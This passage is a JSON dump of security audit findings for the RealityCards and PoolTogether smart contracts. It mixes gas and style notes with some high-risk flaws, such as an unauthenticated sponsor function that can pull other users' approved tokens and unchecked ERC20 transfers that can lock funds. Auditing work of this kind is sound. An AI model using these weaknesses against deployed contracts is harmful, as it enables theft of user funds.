be called by the factory, however, it does not have any auth checks, so that means anyone can call it with an arbitrary _sponsorAddress address and transfer tokens from them if the allowance is > 0: /// @notice ability to add liqudity to the pot without being able to win. /// @dev called by Factory during market creation /// @param _sponsorAddress the msgSender of createMarket in the Factory function sponsor(address _sponsorAddress, uint256 _amount) external override { _sponsor(_sponsorAddress, _amount); } ## Recommended Mitigation Steps Check that the sender is a factory contract. "}, {"title": "circuitBreaker overrides the state", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/38", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function circuitBreaker calls _incrementState but later sets the state itself again: function _incrementState() internal { assert(uint256(state) < 4); state = States(uint256(state) + (1)); emit LogStateChange(uint256(state)); } function circuitBreaker() external { require( block.timestamp > (uint256(oracleResolutionTime) + (12 weeks)), \"Too early\" ); _incrementState(); orderbook.closeMarket(); state = States.WITHDRAW; } ## Recommended Mitigation Steps state = States.WITHDRAW; shouldn't be there, or another solution would be to put it before orderbook.closeMarket(); and remove _incrementState(); instead but then LogStateChange event will also need to be emitted manually. "}, {"title": "contract RCTreasury does not use nfthub and setNftHubAddress", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract RCTreasury has an unused storage variable nfthub and setNftHubAddress function. This variable was moved to the Factory contract so it is useless here. ## Recommended Mitigation Steps Remove nfthub variable and function setNftHubAddress. "}, {"title": "functions safeTransferFrom and transferFrom are too similar", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/34", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function safeTransferFrom is almost identical to function transferFrom. It would be better to reduce code duplication by re-using the code. ## Recommended Mitigation Steps function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { transferFrom(from, to, tokenId); _data; } "}, {"title": "event WithdrawnBatch is not used", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle pauliax # Vulnerability details ## Impact event WithdrawnBatch in contract RCNftHubL2 is not used anywhere. ## Recommended Mitigation Steps Remove or use it where intended. "}, {"title": "minRentalDayDivisor can be different between markets and treasury", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/31", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "minRentalDayDivisor can be different between markets and treasury"}, {"title": "Add comment to not obvious code in withdrawDeposit ", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the function withdrawDeposit of RCTreasury.sol, the value of isForeclosed[_msgSender] is set to true. In the next statement it is overwritten with a new value. So the first statement seem redundant. However this is not the case because it is retrieved from the function removeUserFromOrderbook (see proof of concept below) As this is not obvious it is probably useful to add a comment so future developers can understand this. ## Proof of Concept // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L322 function withdrawDeposit(uint256 _amount, bool _localWithdrawal) external override balancedBooks { ... isForeclosed[_msgSender] = true; // this seems to be redundant isForeclosed[_msgSender] = orderbook.removeUserFromOrderbook( _msgSender ); // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCOrderbook.sol#L575 function removeUserFromOrderbook(address _user) external override returns (bool _userForeclosed) { require(treasury.isForeclosed(_user), \"User must be foreclosed\"); // this checks the isForeclosed value from the treasury contract ## Tools Used ## Recommended Mitigation Steps Add a comment to isForeclosed[_msgSender] = true; explaining this line is important. "}, {"title": "payout doesn't fix isForeclosed state", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function payout of RCTreasury.sol doesn't undo the isForeclosed state of a user. This would be possible because with a payout a user will receive funds so he can lose his isForeclosed status. For example the function refundUser does check and update the isForeclosed status. ## Proof of Concept // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L429 function payout(address _user, uint256 _amount) external override balancedBooks onlyMarkets returns (bool) { require(!globalPause, \"Payouts are disabled\"); assert(marketPot[msgSender()] >= _amount); user[_user].deposit += SafeCast.toUint128(_amount); marketPot[msgSender()] -= _amount; totalMarketPots -= _amount; totalDeposits += _amount; emit LogAdjustDeposit(_user, _amount, true); return true; } // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L447 function refundUser(address _user, uint256 _refund) external override onlyMarkets { ... if ( isForeclosed[_user] && user[_user].deposit > user[_user].bidRate / minRentalDayDivisor ) { isForeclosed[_user] = false; emit LogUserForeclosed(_user, false); } ## Tools Used ## Recommended Mitigation Steps Check and update the isForeclosed state in the payout function "}, {"title": "unnecessary emit of LogUserForeclosed", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/27", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function deposit of RCTreasury.sol resets the isForeclosed state and emits LogUserForeclosed, if the use have enough funds. However this also happens if the user is not Foreclosed and so the emit is redundant and confusing. ## Proof of Concept // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L279 function deposit(uint256 _amount, address _user) public override balancedBooks returns (bool) { .... // this deposit could cancel the users foreclosure if ( (user[_user].deposit + _amount) > (user[_user].bidRate / minRentalDayDivisor) ) { isForeclosed[_user] = false; emit LogUserForeclosed(_user, false); } return true; } ## Tools Used ## Recommended Mitigation Steps Only do the emit when isForeclosed was true "}, {"title": "addToWhitelist doesn't check factoryAddress", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/24", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function addToWhitelist of RCTreasury.sol does a call to the factory contract, however the factoryAddress might not be initialized, because it is set via a different function (setFactoryAddress). The function addToWhitelist will revert when it calls a 0 address, but it might be more difficult to troubleshoot. ## Proof of Concept // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L233 function setFactoryAddress(address _newFactory) external override { ... factoryAddress = _newFactory; } // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L210 function addToWhitelist(address _user) public override { IRCFactory factory = IRCFactory(factoryAddress); require(factory.isGovernor(msgSender()), \"Not authorised\"); isAllowed[_user] = !isAllowed[_user]; } ## Tools Used ## Recommended Mitigation Steps Verify that factoryAddress is set in the function addToWhitelist, for example using the following code. require(factory != address(0), \"Must have an address\"); "}, {"title": "timestamp", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/20", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-06-realitycards-findings", "body": "timestamp"}, {"title": "external-function", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact RCMarket#tokenURI(uint256) is declared external in the IRCMarket interface but is declared public in the RCMarket implementation. This is inconsistent and affect the gas behavior of the function: https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/interfaces/IRCMarket.sol#L27 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L344 https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L344 ## Tools Used Slither ## Recommended Mitigation Steps Mark the implementation method as external. "}, {"title": "costly-loop", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact RCMarket#initialize(uint256,uint32[],uint256,uint256,address,address,address[],address,string) has a potentially expensive loop that modifies state continually over an indeterminate number of cards. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/RCMarket.sol#L252 ## Tools Used Slither ## Recommended Mitigation Steps Potentially a gas-expensive loop because of arbitrary length of _cardAffiliateAddresses possibly assigning to state variable cardAffiliateCut multiple times. * It appears that the loop may be exited on the first cardAffiliateCut = 0 to optimize gas * Alternatively a local variable may be assigned temporarily and then assigned to state: https://github.com/crytic/slither/wiki/Detector-Documentation#costly-operations-inside-a-loop "}, {"title": "Camel case function name", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/13", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact Detailed description of the impact of this finding. Minimal code quality issue. ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. https://github.com/code-423n4/2021-06-realitycards/blob/86a816abb058cc0ed9b6f5c4a8ad146f22b8034c/contracts/interfaces/IRCFactory.sol#L26 The function setminimumPriceIncreasePercent does not follow the code standard of camel casing of function names. ## Tools Used Manual code review. ## Recommended Mitigation Steps Rename the function to have proper camel casing. "}, {"title": "Multiple calls necessary for getWinnerFromOracle", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/12", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "Multiple calls necessary for getWinnerFromOracle"}, {"title": "Can access cards of other markets", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/11", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Within RCMarket.sol the functions ownerOf and onlyTokenOwner do not check if the _cardId/_token is smaller than numberOfCards. So it's possible to supply a larger number and access cards of other markets. The most problematic seems to be upgradeCard. Here the check for isMarketApproved can be circumvented by trying to move the card via another market. You can still only move cards you own. ## Proof of Concept // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCMarket.sol#L338 function ownerOf(uint256 _cardId) public view override returns (address) { uint256 _tokenId = _cardId + totalNftMintCount; // doesn't check if _cardId < numberOfCards return nfthub.ownerOf(_tokenId); } https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCMarket.sol#L313 modifier onlyTokenOwner(uint256 _token) { require(msgSender() == ownerOf(_token), \"Not owner\"); // _token could be higher than numberOfCards, _; } function upgradeCard(uint256 _card) external onlyTokenOwner(_card) { // _card could be higher than numberOfCards, _checkState(States.WITHDRAW); require( !factory.trapIfUnapproved() || factory.isMarketApproved(address(this)), // this can be circumvented by calling the function via another market \"Upgrade blocked\" ); uint256 _tokenId = _card + totalNftMintCount; // _card could be higher than numberOfCards, thus accessing a card in another market _transferCard(ownerOf(_card), address(this), _card); // contract becomes final resting place nfthub.withdrawWithMetadata(_tokenId); emit LogNftUpgraded(_card, _tokenId); } ## Tools Used ## Recommended Mitigation Steps Add the following to ownerOf: require(_card < numberOfCards, \"Card does not exist\"); "}, {"title": "1000 as a constant", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact A value of 1000 is used to indicate 100%. This value is hardcoded on several places. It's saver to use a constant, to prevent mistakes in future updates. ## Proof of Concept .\\RCFactory.sol: /// @dev in basis points (so 1000 = 100%) .\\RCFactory.sol: 1000, .\\RCMarket.sol: (((uint256(1000) - artistCut) - creatorCut) - affiliateCut) - .\\RCMarket.sol: ((((uint256(1000) - artistCut) - affiliateCut) - cardAffiliateCut) - .\\RCMarket.sol: _winningsToTransfer = (totalRentCollected * winnerCut) / (1000); .\\RCMarket.sol: (1000); .\\RCMarket.sol: _remainingPot = (totalRentCollected * _remainingCut) / (1000); .\\RCMarket.sol: ((uint256(1000) - artistCut) - affiliateCut) - cardAffiliateCut; .\\RCMarket.sol: (_rentCollected * _remainingCut) / (1000); .\\RCMarket.sol: (rentCollectedPerCard[_card] * cardAffiliateCut) / (1000); .\\RCMarket.sol: uint256 _payment = (totalRentCollected * _cut) / (1000); ## Tools Used grep ## Recommended Mitigation Steps Replace 1000 with a constant. "}, {"title": "Checks for enum bounds", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact For the enums Mode and State, checks are made that the variables are within bounds. Here specific size are used, e.g. 2 and 4. If the size of the enums would be changed in the future, those numbers don't change automatically. Also solidity provides in-built check to check that variables are within bounds, which could be used instead. This also make the code more readable. ## Proof of Concept // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCMarket.sol#L202 enum Mode {CLASSIC, WINNER_TAKES_ALL, SAFE_MODE} function initialize( ... assert(_mode <= 2); // can be removed ... mode = Mode(_mode); // this makes sure: 0<=mode<=2 // move to top https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/interfaces/IRCMarket.sol#L7 enum States {CLOSED, OPEN, LOCKED, WITHDRAW} // https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCMarket.sol#L1094 function _incrementState() internal { assert(uint256(state) < 4); // can be removed state = States(uint256(state) + (1)); // this makes sure: 0<=state<=3 emit LogStateChange(uint256(state)); } ## Tools Used ## Recommended Mitigation Steps For function initialize: Remove the \"assert(_mode <= 2);\" and move the statement \"mode = Mode(_mode);\" to the top of the function and add a comment For function _incrementState: Remove \"assert(uint256(state) < 4);\" and add a comment at \"state = States(uint256(state) + (1));\" "}, {"title": "improve readability of 1000000 ", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The number 1000000 is used in the constructor of RCTreasury.sol. This is difficult to read in a glance. Solidity allows the use of an underscore ( _ ) to make numbers more readable. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L114 setMaxContractBalance(1000000 ether); // 1m ## Tools Used ## Recommended Mitigation Steps Replace 1000000 with 1_000_000 "}, {"title": "_realitioAddress not used", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The variable _realitioAddress of RCMarket.sol isn't used. The variable realitio seems to used instead. Two variables with the same purpose is confusing. ## Proof of Concept https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCMarket.sol#L121 IRealitio public realitio; address public _realitioAddress; ## Tools Used ## Recommended Mitigation Steps Remove address public _realitioAddress; "}, {"title": "Use immutable keyword", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/6", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Some of the constructors set values that are never changed. See proof of concept. Its best to use the immutable keyword to make sure they aren't changed by accident. ## Proof of Concept //https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/LendingPair.sol#L38 address public tokenA; address public tokenB; //https://github.com/code-423n4/2021-07-wildcredit/blob/main/contracts/RewardDistribution.sol#L37 IPairFactory public factory; IController public controller; IERC20 public rewardToken; ## Tools Used ## Recommended Mitigation Steps Add the immutable keyword where possible "}, {"title": "Unchecked ERC20 transfers can cause lock up", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/2", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle axic # Vulnerability details ## Impact Some major tokens went live before ERC20 was finalised, resulting in a discrepancy whether the transfer functions a) should return a boolean or b) revert/fail on error. The current best practice is that they should revert, but return \u201ctrue\u201d on success. However, not every token claiming ERC20-compatibility is doing this \u2014 some only return true/false; some revert, but do not return anything on success. This is a well known issue, heavily discussed since mid-2018. Today many tools, including OpenZeppelin, offer a wrapper for \u201csafe ERC20 transfer\u201d: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol RealityCards is not using such a wrapper, but instead tries to ensure successful transfers via the `balancedBooks` modifier: ``` modifier balancedBooks { _; // using >= not == in case anyone sends tokens direct to contract require( erc20.balanceOf(address(this)) >= totalDeposits + marketBalance + totalMarketPots, \"Books are unbalanced!\" ); } ``` This modifier is present on most functions, but is missing on `topupMarketBalance`: ``` function topupMarketBalance(uint256 _amount) external override { erc20.transferFrom(msgSender(), address(this), _amount); if (_amount > marketBalanceDiscrepancy) { marketBalanceDiscrepancy = 0; } else { marketBalanceDiscrepancy -= _amount; } marketBalance += _amount; } ``` In the case an ERC20 token which is not reverting on failures is used, a malicious actor could call `topupMarketBalance` with a failing transfer, but also move the value of `marketBalance` above the actual holdings. After this, `deposit`, `withdrawDeposit`, `payRent`, `payout`, `sponsor`, etc. could be locked up and always failing with \u201cBooks are unbalanced\u201d. ## Proof of Concept Anyone can call `topupMarketBalance` with some unrealistically large number, so that `marketBalance` does not overflow, but is above the actually helping balances. This is only possible if the underlying ERC20 used is not reverting on failures, but return \u201cfalse\u201d instead. ## Tools Used Manual review ## Recommended Mitigation Steps 1. Use something like OpenZeppelin\u2019s SafeERC20 2. Set up an allow list for tokens, which are knowingly safe 3. Consider a different approach to the `balancedBooks` modifier "}, {"title": "Gas inefficiency with NativeMetaTransaction and calldata", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle axic # Vulnerability details ## Impact In `lib/NativeMetaTransactions.sol` there is a frequently used helper `msgSender`: ``` function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { ... ``` Even though only the last 20-bytes matter, the `bytes memory array = msg.data;` line causes the *entire* calldata to be copied to memory. This is exaggerated by the fact, that if `msgSender()` is called multiple times in a transaction, the calldata will be also copied multiple times as memory is not freed. ## Proof of Concept N/A ## Tools Used Manual review. ## Recommended Mitigation Steps There are multiple ways to avoid this: 1. Make use of calldata slices and conversions Something along the lines of (untested!): ``` // Copy last 20 bytes bytes calldata data = msg.data[(msg.data.length - 20):]; sender = payable(address(uint160(bytes20(data)))); ``` 2. Implementing purely in assembly The OpenZeppelin implementation (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/metatx/ERC2771Context.sol#L21-L30) is an example of an optimised assembly version: ``` assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } ``` 3. Combining slices and assembly One must note that the pure assembly version is obviously the most gas efficient, at least today. "}, {"title": "Gas optimization on `redeemToken` of `ATokenYieldSource`", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ATokenYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact At line 213 of `ATokenYieldSource`, `depositToken()` can be replaced by `_tokenAddress()` to save gas since the former is a public function, while the latter is an internal function. ## Proof of Concept Referenced code: [ATokenYieldSource.sol#L213](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/ATokenYieldSource.sol#L213) ## Recommended Mitigation Steps Change `depositToken()` to `_tokenAddress()`. "}, {"title": "Gas optimization on `_depositToAave`", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "ATokenYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact The function `_depositToAave` of `ATokenYieldSource` calls `_lendingPool` and `_tokenAddress` twice, both of which include function calls to external contracts. Thus, storing the first results into local variables and reuse them for the second time could help save gas. ## Proof of Concept Referenced code: [ATokenYieldSource.sol#L175-L182](https://github.com/pooltogether/aave-yield-source/blob/main/contracts/yield-source/ATokenYieldSource.sol#L175-L182) ## Recommended Mitigation Steps Store the result of `_tokenAddress()` and `_lendingPool()` to local variables and resue them. "}, {"title": "User could lose underlying tokens when redeeming from the `IdleYieldSource`", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/120", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "IdleYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact The `redeemToken` function in `IdleYieldSource` uses `redeemedShare` instead of `redeemAmount` as the input parameter when calling `redeemIdleToken` of the Idle yield source. As a result, users could get fewer underlying tokens than they should. ## Proof of Concept When burning users' shares, it is correct to use `redeemedShare` (line 130). However, when redeeming underlying tokens from Idle Finance, `redeemAmount` should be used instead of `redeemedShare` (line 131). Usually, the `tokenPriceWithFee()` is greater than `ONE_IDLE_TOKEN`, and thus `redeemedShare` is less than `redeemAmount`, causing users to get fewer underlying tokens than expected. Referenced code: [IdleYieldSource.sol#L129-L131](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/IdleYieldSource.sol#L129-L131) ## Recommended Mitigation Steps Change `redeemedShare` to `redeemAmount` at line 131. "}, {"title": "Lack of `nonReentrant` modifier in yield source contracts", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/119", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "ATokenYieldSource", "IdleYieldSource", "SushiYieldSource", "BadgerYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact The `YearnV2YieldSource` contract prevents the `supplyTokenTo`, `redeemToken`, and `sponsor` functions from being reentered by applying a `nonReentrant` modifier. Since these contracts share a similar logic, adding a `nonReentrant` modifier to these functions in all of the yield source contracts is reasonable. However, the same protection is not seen in other yield source contracts. ## Proof of Concept A `nonReentrant` modifier in the following functions is missing: 1. The `sponsor` function of `ATokenYieldSource` 2. The `supplyTokenTo` and `redeemToken` function of `BadgerYieldSource` 3. The `sponsor` function of `IdleYieldSource` 4. The `supplyTokenTo` and `redeemToken` function of `SushiYieldSource` Referenced code: [ATokenYieldSource.sol#L233](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/ATokenYieldSource.sol#L233) [BadgerYieldSource.sol#L43](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L43) [BadgerYieldSource.sol#L57](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L57) [IdleYieldSource.sol#L150](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/IdleYieldSource.sol#L150) [SushiYieldSource.sol#L47](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L47) [SushiYieldSource.sol#L66](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L66) ## Recommended Mitigation Steps Add a `nonReentrant` modifier to these functions. For `BadgerYieldSource` and `SushiYieldSource` contracts, make them inherit from Openzeppelin's `ReentrancyGuardUpgradeable` to use the `nonReentrant` modifier. "}, {"title": "`onERC721Received` not implemented in `PrizePool`", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/118", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact The `PrizePool` contract does not implement the `onERC721Received` function, which is considered a best practice to transfer ERC721 tokens from contracts to contracts. The absence of this function could prevent `PrizePool` from receiving ERC721 tokens from other contracts via `safeTransferFrom`. ## Proof of Concept Referenced code: [PrizePool.sol](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/PrizePool.sol) ## Recommended Mitigation Steps Consider adding an implementation of the `onERC721Received` function in `PrizePool`. "}, {"title": "Using `transferFrom` on ERC721 tokens", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/115", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact In the function `awardExternalERC721` of contract `PrizePool`, when awarding external ERC721 tokens to the winners, the `transferFrom` keyword is used instead of `safeTransferFrom`. If any winner is a contract and is not aware of incoming ERC721 tokens, the sent tokens could be locked. ## Proof of Concept Referenced code: [PrizePool.sol#L602](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/PrizePool.sol#L602) ## Recommended Mitigation Steps Consider changing `transferFrom` to `safeTransferFrom` at line 602. However, it could introduce a DoS attack vector if any winner maliciously rejects the received ERC721 tokens to make the others unable to get their awards. Possible mitigations are to use a `try/catch` statement to handle error cases separately or provide a function for the pool owner to remove malicious winners manually if this happens. "}, {"title": "SafeMath not completely used in yield source contracts", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/114", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact SafeMath is not completely used at the following lines of yield source contracts, which could potentially cause arithmetic underflow and overflow: 1. line 78 in `SushiYieldSource` 2. line 67 in `BadgerYieldSource` 3. line 91 and 98 in `IdleYieldSource` ## Proof of Concept Referenced code: [SushiYieldSource.sol#L78](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L78) [BadgerYieldSource.sol#L67](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L67) [IdleYieldSource.sol#L91](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/IdleYieldSource.sol#L91) [IdleYieldSource.sol#L98](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/IdleYieldSource.sol#L98) ## Recommended Mitigation Steps Use the SafeMath library functions in the above lines. "}, {"title": "Return values of ERC20 `transfer` and `transferFrom` are unchecked", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/112", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "SushiYieldSource", "BadgerYieldSource"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact In the contracts `BadgerYieldSource` and `SushiYieldSource`, the return values of ERC20 `transfer` and `transferFrom` are not checked to be `true`, which could be `false` if the transferred tokens are not ERC20-compliant (e.g., `BADGER`). In that case, the transfer fails without being noticed by the calling contract. ## Proof of Concept If warden's understanding of the `BadgerYieldSource` is correct, the `badger` variable should be the `BADGER` token at address `0x3472a5a71965499acd81997a54bba8d852c6e53d`. However, this implementation of `BADGER` is not ERC20-compliant, which returns `false` when the sender does not have enough token to transfer (both for `transfer` and `transferFrom`). See the [source code on Etherscan](https://etherscan.io/address/0x3472a5a71965499acd81997a54bba8d852c6e53d#code) (at line 226) for more details. Referenced code: [BadgerYieldSource.sol#L44](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L44) [BadgerYieldSource.sol#L79](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/BadgerYieldSource.sol#L79) [SushiYieldSource.sol#L48](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L48) [SushiYieldSource.sol#L89](https://github.com/code-423n4/2021-06-pooltogether/blob/main/contracts/yield-source/SushiYieldSource.sol#L89) ## Recommended Mitigation Steps Use the `SafeERC20` library [implementation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol) from Openzeppelin and call `safeTransfer` or `safeTransferFrom` when transferring ERC20 tokens. "}, {"title": "Unlocked pragma used in multiple contracts", "html_url": "https://github.com/code-423n4/2021-06-pooltogether-findings/issues/109", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-pooltogether-findings", "body": "# Handle shw # Vulnerability details ## Impact Most of the contracts use an unlocked pragma (e.g., `pragma solidity ^0.8.0`) which is not fixed to a specific Solidity version. Locking the pragma helps ensure that contracts do not accidentally get deployed using a different compiler version with which they have been tested the most. ## Proof of Concept Referenced code: Please use `grep -R pragma .` to find the unlocked pragma statements. ## Recommended Mitigation Steps Lock pragmas to a specific Solidity version. Consider the compiler bugs in the following lists and ensure the contracts are not affected by them. It is also recommended to use the latest version of Solidity when deploying contracts (see [Solidity docs](https://docs.soliditylang.org/en/v0.8.6/)). Solidity compiler bugs: [Solidity repo - known 